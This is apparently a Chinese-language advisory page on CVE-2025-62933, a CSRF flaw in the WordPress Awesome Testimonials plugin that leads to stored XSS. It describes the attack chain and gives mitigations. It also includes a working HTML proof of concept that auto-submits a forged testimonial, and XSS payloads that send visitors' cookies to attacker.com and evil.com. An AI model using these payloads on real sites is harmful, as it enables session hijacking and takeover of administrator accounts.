IPBUF安全漏洞报告
English
CVE-2025-62933 CVSS 7.1 高危

CVE-2025-62933 WordPress Awesome Testimonials插件CSRF漏洞导致存储型XSS

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-62933
漏洞类型
CSRF + 存储型XSS
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress Awesome Testimonials插件

相关标签

CSRF存储型XSSWordPress插件漏洞Awesome Testimonials跨站请求伪造CVE-2025-62933高危漏洞WordPress安全

漏洞概述

CVE-2025-62933是WordPress插件Awesome Testimonials中的一个跨站请求伪造(CSRF)漏洞,该漏洞可能导致存储型跨站脚本(Stored XSS)攻击。Awesome Testimonials是一款用于在WordPress网站上展示用户评价和推荐信的插件,广泛应用于各类商业网站。攻击者可以利用CSRF漏洞诱导已登录的管理员或内容编辑者在不知情的情况下提交恶意构造的表单数据,由于该插件缺乏足够的CSRF令牌验证和输入输出过滤,攻击者注入的恶意JavaScript代码会被永久存储在数据库中。当其他用户访问包含恶意评价的页面时,攻击脚本将自动执行,可能导致会话劫持、凭据窃取、恶意重定向等严重安全后果。此漏洞影响从任意版本到2.2.1的所有插件版本,CVSS评分7.1,属于高危漏洞。

技术细节

该漏洞的根本原因在于Awesome Testimonials插件的表单处理功能缺少CSRF令牌验证机制。在WordPress插件开发中,正确的CSRF防护需要在表单中添加wp_nonce_field()生成的随机令牌,并在处理请求时使用wp_verify_nonce()进行验证。然而,该插件在评价提交表单中未实现这一关键安全措施。攻击者可以构造一个恶意HTML页面,包含自动提交的表单指向目标网站的插件端点。当已登录的管理员或有权限的用户访问该恶意页面时,浏览器会自动携带有效的会话Cookie发送请求。攻击者可以在评价内容字段中注入包含<script>标签或事件处理属性的恶意JavaScript代码,如:<img src=x onerror=alert(document.cookie)>。由于插件在保存和输出评价内容时未进行充分的HTML转义或白名单过滤,这些恶意代码会被直接存储到数据库中,并在页面加载时执行。攻击成功后,攻击者可以窃取管理员会话令牌、执行任意管理操作或植入后门程序。

攻击链分析

STEP 1
步骤1
攻击者创建一个恶意HTML页面,包含针对Awesome Testimonials插件的自动提交表单
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或恶意网站诱导目标网站管理员访问该恶意页面
STEP 3
步骤3
管理员浏览器自动向目标网站发送POST请求,由于浏览器自动携带有效Cookie,服务器视为合法请求
STEP 4
步骤4
插件接收请求后,由于缺少CSRF验证,直接将包含恶意JavaScript代码的评价内容存入数据库
STEP 5
步骤5
当其他用户访问显示评价的页面时,恶意JavaScript代码被浏览器解析执行
STEP 6
步骤6
攻击者通过注入的脚本窃取用户Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-62933 --> <!-- Stored XSS via Testimonial Submission --> <!DOCTYPE html> <html> <head> <title>CSRF Attack - Awesome Testimonials</title> </head> <body> <h1>Malicious CSRF Page</h1> <p>This page will automatically submit a forged request to add a malicious testimonial.</p> <form id="attackForm" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST"> <!-- WordPress AJAX action --> <input type="hidden" name="action" value="awesome_testimonials_save"> <!-- Missing CSRF token - this is the vulnerability --> <input type="hidden" name="testimonial_name" value="Attacker"> <input type="hidden" name="testimonial_content" value="<img src=x onerror='fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)\";'>Nice service!"> <input type="hidden" name="testimonial_rating" value="5"> </form> <script> // Auto-submit the form when page loads document.getElementById('attackForm').submit(); console.log('Malicious request sent'); </script> </body> </html> <!-- Alternative: Using img onerror for XSS --> <!-- <img src=x onerror="fetch('https://evil.com/log?c='+btoa(document.cookie))"> -->

影响范围

Awesome Testimonials <= 2.2.1
Awesome Testimonials 从任意版本到 2.2.1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 临时禁用Awesome Testimonials插件或限制其功能;2) 使用Web应用防火墙(WAF)规则阻止可疑的AJAX请求;3) 加强对管理员账户的安全措施,如使用双因素认证;4) 监控服务器日志和WordPress活动日志,关注异常的AJAX请求;5) 考虑使用网站安全服务进行实时威胁检测;6) 限制允许的HTML标签白名单,对评价内容进行严格的HTML过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表